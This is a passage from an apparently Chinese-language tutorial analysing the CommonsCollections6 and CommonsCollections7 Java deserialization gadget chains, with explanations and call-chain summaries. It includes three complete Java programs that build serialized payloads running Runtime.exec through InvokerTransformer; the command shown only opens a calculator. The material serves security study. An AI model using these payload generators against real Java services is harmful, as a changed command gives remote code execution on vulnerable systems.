        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()
  1. 依赖版本

commons-collections : 3.1~3.2.1
jdk 8u76 without a security manager

CommonsCollections6

在 CC5 中我们使用了 TiedMapEntry#toString 来触发 LazyMap#get,在 CC6 中是通过 TiedMapEntry#hashCode 来触发。之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那我们如何在反序列化时触发 TiedMapEntry 的 hashcode 方法呢?

之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值。那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法。

那就要面临在 URLDNS 中同样面临的问题:调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似 URLDNS2 的利用反射调用 putVal 方法写入 key 避免触发。
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。

这样就完成了一个 HashMap 的触发方式。

但是我们突然想到:咦?HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?

于是就有了 CC6 的 HashSet 触发方式。

前置知识

HashSet

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

攻击构造

首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在 URLDNS2 中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式。

public class CC6WithHashMap {

	public static String fileName = "CC6WithHashMap.bin";

	public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {

		// 初始化 HashMap
		HashMap<Object, Object> hashMap = new HashMap<>();

		// 创建 ChainedTransformer
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		};

		// 创建一个空的 ChainedTransformer
		ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

		// 创建 LazyMap 并引入 TiedMapEntry
		Map          lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
		TiedMapEntry entry   = new TiedMapEntry(lazyMap, "su18");

		hashMap.put(entry, "su18");

		//用反射再改回真的chain
		Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
		f.setAccessible(true);
		f.set(fakeChain, transformers);
		//清空由于 hashMap.put 对 LazyMap 造成的影响
		lazyMap.clear();

		// 反射调用 HashMap 的 putVal 方法
//		Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
//		for (Method method : m) {
//			if ("putVal".equals(method.getName())) {
//				method.setAccessible(true);
//				method.invoke(hashMap, -1, entry, 0, false, true);
//			}
//		}

		SerializeUtil.writeObjectToFile(hashMap, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

比较简单,就是一个缝合。接下来看一下第二种 HashSet 的触发方式。

public class CC6WithHashSet {

	public static String fileName = "CC6WithHashSet.bin";

	public static void main(String[] args) throws Exception {

		// 初始化 HashMap
		HashMap<Object, Object> hashMap = new HashMap<>();

		// 创建 ChainedTransformer
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		};

		// 创建一个空的 ChainedTransformer
		ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

		// 创建 LazyMap 并引入 TiedMapEntry
		Map          lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
		TiedMapEntry entry   = new TiedMapEntry(lazyMap, "su18");

		hashMap.put(entry, "su18");

		HashSet set = new HashSet(hashMap.keySet());

		//用反射再改回真的chain
		Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
		f.setAccessible(true);
		f.set(fakeChain, transformers);
		//清空由于 hashMap.put 对 LazyMap 造成的影响
		lazyMap.clear();

		SerializeUtil.writeObjectToFile(set, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet。在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 多次使用反射向 HashMap 及 HashSet 中写入值,并兼容了 JDK 7 和 8 中成员变量名发生变化的情况。并且是通过向底层 map 中的 节点添加的方式。

就我个人而言,感觉这种方式有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据。

总结

以上就是 CC6 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 调用 TiedMapEntry 的 toString 方法,简介调用了 LazyMap 的 hashCode 方法,触发了后续的 Transformer 恶意执行链。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashSet#readObject()/java.util.HashMap#readObject()
    • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
  3. 调用链展示:
HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
  1. 依赖版本

commons-collections : 3.1~3.2.1

CommonsCollections7

CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。

前置知识

Hashtable

Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:

  • HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
  • Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
  • Hashtable 线程安全,HashMap 线程不安全。

那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。

Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。

reconstitutionPut 调用了 key 的 hashCode 方法。

其实这个调用逻辑是与 HashMap 差不多的。

攻击构造

攻击调用代码与 HashMap 几乎一模一样:

public class CC7 {

	public static String fileName = "CC7.bin";

	public static void main(String[] args) throws Exception {
		// 初始化 HashMap
		Hashtable<Object, Object> hashtable = new Hashtable<>();

		// 创建 ChainedTransformer
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		};

		// 创建一个空的 ChainedTransformer
		ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

		// 创建 LazyMap 并引入 TiedMapEntry
		Map          lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
		TiedMapEntry entry   = new TiedMapEntry(lazyMap, "su18");

		hashtable.put(entry, "su18");

		//用反射再改回真的chain
		Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
		f.setAccessible(true);
		f.set(fakeChain, transformers);
		//清空由于 hashtable.put 对 LazyMap 造成的影响
		lazyMap.clear();

		SerializeUtil.writeObjectToFile(hashtable, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

总结

以上就是 CC7 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 用 Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致。
  2. Gadget 总结:
    • kick-off gadget:java.util.Hashtable#readObject()
    • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
  3. 调用链展示:
Hashtable.readObject()
   TiedMapEntry.hashCode()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()
  1. 依赖版本

commons-collections : 3.1